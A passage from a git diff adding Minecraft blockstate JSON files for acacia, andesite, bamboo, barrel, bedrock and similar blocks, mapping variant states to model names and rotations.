"y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/acacia_fence_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/acacia_fence_side", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_fence_gate.json b/src/assets/minecraft/blockstates/acacia_fence_gate.json new file mode 100644 index 00000000..a6d36764 --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_fence_gate.json @@ -0,0 +1,80 @@ +{ + "variants": { + "facing=east,in_wall=false,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/acacia_fence_gate" + }, + "facing=east,in_wall=false,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/acacia_fence_gate_open" + }, + "facing=east,in_wall=true,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/acacia_fence_gate_wall" + }, + "facing=east,in_wall=true,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/acacia_fence_gate_wall_open" + }, + "facing=north,in_wall=false,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/acacia_fence_gate" + }, + "facing=north,in_wall=false,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/acacia_fence_gate_open" + }, + "facing=north,in_wall=true,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/acacia_fence_gate_wall" + }, + "facing=north,in_wall=true,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/acacia_fence_gate_wall_open" + }, + "facing=south,in_wall=false,open=false": { + "uvlock": true, + "model": "minecraft:block/acacia_fence_gate" + }, + "facing=south,in_wall=false,open=true": { + "uvlock": true, + "model": "minecraft:block/acacia_fence_gate_open" + }, + "facing=south,in_wall=true,open=false": { + "uvlock": true, + "model": "minecraft:block/acacia_fence_gate_wall" + }, + "facing=south,in_wall=true,open=true": { + "uvlock": true, + "model": "minecraft:block/acacia_fence_gate_wall_open" + }, + "facing=west,in_wall=false,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/acacia_fence_gate" + }, + "facing=west,in_wall=false,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/acacia_fence_gate_open" + }, + "facing=west,in_wall=true,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/acacia_fence_gate_wall" + }, + "facing=west,in_wall=true,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/acacia_fence_gate_wall_open" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_leaves.json b/src/assets/minecraft/blockstates/acacia_leaves.json new file mode 100644 index 00000000..0d99aafa --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_leaves.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/acacia_leaves" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_log.json b/src/assets/minecraft/blockstates/acacia_log.json new file mode 100644 index 00000000..97c6b502 --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_log.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/acacia_log_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/acacia_log" + }, + "axis=z": { + "model": "minecraft:block/acacia_log_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_planks.json b/src/assets/minecraft/blockstates/acacia_planks.json new file mode 100644 index 00000000..529c1609 --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_planks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/acacia_planks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_pressure_plate.json b/src/assets/minecraft/blockstates/acacia_pressure_plate.json new file mode 100644 index 00000000..6572988b --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_pressure_plate.json @@ -0,0 +1,10 @@ +{ + "variants": { + "powered=false": { + "model": "minecraft:block/acacia_pressure_plate" + }, + "powered=true": { + "model": "minecraft:block/acacia_pressure_plate_down" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_sapling.json b/src/assets/minecraft/blockstates/acacia_sapling.json new file mode 100644 index 00000000..8f2fec96 --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_sapling.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/acacia_sapling" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_sign.json b/src/assets/minecraft/blockstates/acacia_sign.json new file mode 100644 index 00000000..c663452f --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/acacia_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_slab.json b/src/assets/minecraft/blockstates/acacia_slab.json new file mode 100644 index 00000000..4816cdb8 --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/acacia_slab" + }, + "type=double": { + "model": "minecraft:block/acacia_planks" + }, + "type=top": { + "model": "minecraft:block/acacia_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_stairs.json b/src/assets/minecraft/blockstates/acacia_stairs.json new file mode 100644 index 00000000..9efd77fd --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/acacia_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/acacia_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/acacia_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/acacia_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/acacia_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/acacia_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/acacia_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/acacia_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/acacia_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/acacia_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/acacia_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/acacia_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/acacia_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/acacia_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/acacia_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/acacia_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/acacia_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/acacia_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/acacia_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/acacia_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/acacia_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/acacia_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/acacia_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/acacia_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/acacia_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/acacia_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/acacia_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/acacia_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/acacia_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/acacia_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/acacia_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/acacia_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/acacia_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/acacia_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/acacia_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/acacia_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/acacia_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/acacia_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/acacia_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/acacia_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_trapdoor.json b/src/assets/minecraft/blockstates/acacia_trapdoor.json new file mode 100644 index 00000000..b91b2fc0 --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_trapdoor.json @@ -0,0 +1,69 @@ +{ + "variants": { + "facing=east,half=bottom,open=false": { + "model": "minecraft:block/acacia_trapdoor_bottom", + "y": 90 + }, + "facing=east,half=bottom,open=true": { + "model": "minecraft:block/acacia_trapdoor_open", + "y": 90 + }, + "facing=east,half=top,open=false": { + "model": "minecraft:block/acacia_trapdoor_top", + "y": 90 + }, + "facing=east,half=top,open=true": { + "model": "minecraft:block/acacia_trapdoor_open", + "x": 180, + "y": 270 + }, + "facing=north,half=bottom,open=false": { + "model": "minecraft:block/acacia_trapdoor_bottom" + }, + "facing=north,half=bottom,open=true": { + "model": "minecraft:block/acacia_trapdoor_open" + }, + "facing=north,half=top,open=false": { + "model": "minecraft:block/acacia_trapdoor_top" + }, + "facing=north,half=top,open=true": { + "model": "minecraft:block/acacia_trapdoor_open", + "x": 180, + "y": 180 + }, + "facing=south,half=bottom,open=false": { + "model": "minecraft:block/acacia_trapdoor_bottom", + "y": 180 + }, + "facing=south,half=bottom,open=true": { + "model": "minecraft:block/acacia_trapdoor_open", + "y": 180 + }, + "facing=south,half=top,open=false": { + "model": "minecraft:block/acacia_trapdoor_top", + "y": 180 + }, + "facing=south,half=top,open=true": { + "model": "minecraft:block/acacia_trapdoor_open", + "x": 180, + "y": 0 + }, + "facing=west,half=bottom,open=false": { + "model": "minecraft:block/acacia_trapdoor_bottom", + "y": 270 + }, + "facing=west,half=bottom,open=true": { + "model": "minecraft:block/acacia_trapdoor_open", + "y": 270 + }, + "facing=west,half=top,open=false": { + "model": "minecraft:block/acacia_trapdoor_top", + "y": 270 + }, + "facing=west,half=top,open=true": { + "model": "minecraft:block/acacia_trapdoor_open", + "x": 180, + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_wall_sign.json b/src/assets/minecraft/blockstates/acacia_wall_sign.json new file mode 100644 index 00000000..c663452f --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_wall_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/acacia_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/acacia_wood.json b/src/assets/minecraft/blockstates/acacia_wood.json new file mode 100644 index 00000000..f064d5c6 --- /dev/null +++ b/src/assets/minecraft/blockstates/acacia_wood.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/acacia_wood", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/acacia_wood" + }, + "axis=z": { + "model": "minecraft:block/acacia_wood", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/activator_rail.json b/src/assets/minecraft/blockstates/activator_rail.json new file mode 100644 index 00000000..5c5354b5 --- /dev/null +++ b/src/assets/minecraft/blockstates/activator_rail.json @@ -0,0 +1,46 @@ +{ + "variants": { + "powered=false,shape=ascending_east": { + "model": "minecraft:block/activator_rail_raised_ne", + "y": 90 + }, + "powered=false,shape=ascending_north": { + "model": "minecraft:block/activator_rail_raised_ne" + }, + "powered=false,shape=ascending_south": { + "model": "minecraft:block/activator_rail_raised_sw" + }, + "powered=false,shape=ascending_west": { + "model": "minecraft:block/activator_rail_raised_sw", + "y": 90 + }, + "powered=false,shape=east_west": { + "model": "minecraft:block/activator_rail", + "y": 90 + }, + "powered=false,shape=north_south": { + "model": "minecraft:block/activator_rail" + }, + "powered=true,shape=ascending_east": { + "model": "minecraft:block/activator_rail_on_raised_ne", + "y": 90 + }, + "powered=true,shape=ascending_north": { + "model": "minecraft:block/activator_rail_on_raised_ne" + }, + "powered=true,shape=ascending_south": { + "model": "minecraft:block/activator_rail_on_raised_sw" + }, + "powered=true,shape=ascending_west": { + "model": "minecraft:block/activator_rail_on_raised_sw", + "y": 90 + }, + "powered=true,shape=east_west": { + "model": "minecraft:block/activator_rail_on", + "y": 90 + }, + "powered=true,shape=north_south": { + "model": "minecraft:block/activator_rail_on" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/air.json b/src/assets/minecraft/blockstates/air.json new file mode 100644 index 00000000..2c8f02f0 --- /dev/null +++ b/src/assets/minecraft/blockstates/air.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/air" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/allium.json b/src/assets/minecraft/blockstates/allium.json new file mode 100644 index 00000000..6c0aa835 --- /dev/null +++ b/src/assets/minecraft/blockstates/allium.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/allium" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/ancient_debris.json b/src/assets/minecraft/blockstates/ancient_debris.json new file mode 100644 index 00000000..dd6b0594 --- /dev/null +++ b/src/assets/minecraft/blockstates/ancient_debris.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/ancient_debris" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/andesite.json b/src/assets/minecraft/blockstates/andesite.json new file mode 100644 index 00000000..8248d30d --- /dev/null +++ b/src/assets/minecraft/blockstates/andesite.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/andesite" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/andesite_slab.json b/src/assets/minecraft/blockstates/andesite_slab.json new file mode 100644 index 00000000..9afe0305 --- /dev/null +++ b/src/assets/minecraft/blockstates/andesite_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/andesite_slab" + }, + "type=double": { + "model": "minecraft:block/andesite" + }, + "type=top": { + "model": "minecraft:block/andesite_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/andesite_stairs.json b/src/assets/minecraft/blockstates/andesite_stairs.json new file mode 100644 index 00000000..009fcef1 --- /dev/null +++ b/src/assets/minecraft/blockstates/andesite_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/andesite_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/andesite_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/andesite_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/andesite_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/andesite_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/andesite_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/andesite_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/andesite_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/andesite_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/andesite_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/andesite_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/andesite_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/andesite_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/andesite_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/andesite_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/andesite_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/andesite_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/andesite_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/andesite_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/andesite_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/andesite_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/andesite_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/andesite_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/andesite_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/andesite_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/andesite_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/andesite_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/andesite_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/andesite_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/andesite_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/andesite_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/andesite_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/andesite_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/andesite_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/andesite_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/andesite_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/andesite_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/andesite_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/andesite_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/andesite_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/andesite_wall.json b/src/assets/minecraft/blockstates/andesite_wall.json new file mode 100644 index 00000000..46a1445e --- /dev/null +++ b/src/assets/minecraft/blockstates/andesite_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/andesite_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/andesite_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/andesite_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/andesite_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/andesite_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/andesite_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/andesite_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/andesite_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/andesite_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/anvil.json b/src/assets/minecraft/blockstates/anvil.json new file mode 100644 index 00000000..16586bb3 --- /dev/null +++ b/src/assets/minecraft/blockstates/anvil.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/anvil", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/anvil", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/anvil" + }, + "facing=west": { + "model": "minecraft:block/anvil", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/attached_melon_stem.json b/src/assets/minecraft/blockstates/attached_melon_stem.json new file mode 100644 index 00000000..bc8c0345 --- /dev/null +++ b/src/assets/minecraft/blockstates/attached_melon_stem.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/attached_melon_stem", + "y": 180 + }, + "facing=north": { + "model": "minecraft:block/attached_melon_stem", + "y": 90 + }, + "facing=south": { + "model": "minecraft:block/attached_melon_stem", + "y": 270 + }, + "facing=west": { + "model": "minecraft:block/attached_melon_stem" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/attached_pumpkin_stem.json b/src/assets/minecraft/blockstates/attached_pumpkin_stem.json new file mode 100644 index 00000000..1324bcd8 --- /dev/null +++ b/src/assets/minecraft/blockstates/attached_pumpkin_stem.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/attached_pumpkin_stem", + "y": 180 + }, + "facing=north": { + "model": "minecraft:block/attached_pumpkin_stem", + "y": 90 + }, + "facing=south": { + "model": "minecraft:block/attached_pumpkin_stem", + "y": 270 + }, + "facing=west": { + "model": "minecraft:block/attached_pumpkin_stem" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/azure_bluet.json b/src/assets/minecraft/blockstates/azure_bluet.json new file mode 100644 index 00000000..ddea5056 --- /dev/null +++ b/src/assets/minecraft/blockstates/azure_bluet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/azure_bluet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/bamboo.json b/src/assets/minecraft/blockstates/bamboo.json new file mode 100644 index 00000000..ab5e7172 --- /dev/null +++ b/src/assets/minecraft/blockstates/bamboo.json @@ -0,0 +1,58 @@ +{ + "multipart": [ + { + "when": { + "age": "0" + }, + "apply": [ + { + "model": "minecraft:block/bamboo1_age0" + }, + { + "model": "minecraft:block/bamboo2_age0" + }, + { + "model": "minecraft:block/bamboo3_age0" + }, + { + "model": "minecraft:block/bamboo4_age0" + } + ] + }, + { + "when": { + "age": "1" + }, + "apply": [ + { + "model": "minecraft:block/bamboo1_age1" + }, + { + "model": "minecraft:block/bamboo2_age1" + }, + { + "model": "minecraft:block/bamboo3_age1" + }, + { + "model": "minecraft:block/bamboo4_age1" + } + ] + }, + { + "when": { + "leaves": "small" + }, + "apply": { + "model": "minecraft:block/bamboo_small_leaves" + } + }, + { + "when": { + "leaves": "large" + }, + "apply": { + "model": "minecraft:block/bamboo_large_leaves" + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/bamboo_sapling.json b/src/assets/minecraft/blockstates/bamboo_sapling.json new file mode 100644 index 00000000..b16a0c27 --- /dev/null +++ b/src/assets/minecraft/blockstates/bamboo_sapling.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bamboo_sapling" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/barrel.json b/src/assets/minecraft/blockstates/barrel.json new file mode 100644 index 00000000..84860e74 --- /dev/null +++ b/src/assets/minecraft/blockstates/barrel.json @@ -0,0 +1,56 @@ +{ + "variants": { + "facing=down,open=false": { + "x": 180, + "model": "minecraft:block/barrel" + }, + "facing=down,open=true": { + "x": 180, + "model": "minecraft:block/barrel_open" + }, + "facing=east,open=false": { + "x": 90, + "y": 90, + "model": "minecraft:block/barrel" + }, + "facing=east,open=true": { + "x": 90, + "y": 90, + "model": "minecraft:block/barrel_open" + }, + "facing=north,open=false": { + "x": 90, + "model": "minecraft:block/barrel" + }, + "facing=north,open=true": { + "x": 90, + "model": "minecraft:block/barrel_open" + }, + "facing=south,open=false": { + "x": 90, + "y": 180, + "model": "minecraft:block/barrel" + }, + "facing=south,open=true": { + "x": 90, + "y": 180, + "model": "minecraft:block/barrel_open" + }, + "facing=up,open=false": { + "model": "minecraft:block/barrel" + }, + "facing=up,open=true": { + "model": "minecraft:block/barrel_open" + }, + "facing=west,open=false": { + "x": 90, + "y": 270, + "model": "minecraft:block/barrel" + }, + "facing=west,open=true": { + "x": 90, + "y": 270, + "model": "minecraft:block/barrel_open" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/barrier.json b/src/assets/minecraft/blockstates/barrier.json new file mode 100644 index 00000000..a8194d26 --- /dev/null +++ b/src/assets/minecraft/blockstates/barrier.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/barrier" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/basalt.json b/src/assets/minecraft/blockstates/basalt.json new file mode 100644 index 00000000..12bc2d6a --- /dev/null +++ b/src/assets/minecraft/blockstates/basalt.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/basalt", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/basalt" + }, + "axis=z": { + "model": "minecraft:block/basalt", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/beacon.json b/src/assets/minecraft/blockstates/beacon.json new file mode 100644 index 00000000..dc3a36b1 --- /dev/null +++ b/src/assets/minecraft/blockstates/beacon.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/beacon" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/bedrock.json b/src/assets/minecraft/blockstates/bedrock.json new file mode 100644 index 00000000..cb107bd0 --- /dev/null +++ b/src/assets/minecraft/blockstates/bedrock.json @@ -0,0 +1,20 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/bedrock" + }, + { + "model": "minecraft:block/bedrock_mirrored" + }, + { + "model": "minecraft:block/bedrock", + "y": 180 + }, + { + "model": "minecraft:block/bedrock_mirrored", + "y": 180 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/bee_nest.json b/src/assets/minecraft/blockstates/bee_nest.json new file mode 100644 index 00000000..075509e2 --- /dev/null +++ b/src/assets/minecraft/blockstates/bee_nest.json @@ -0,0 +1,94 @@ +{ + "variants": { + 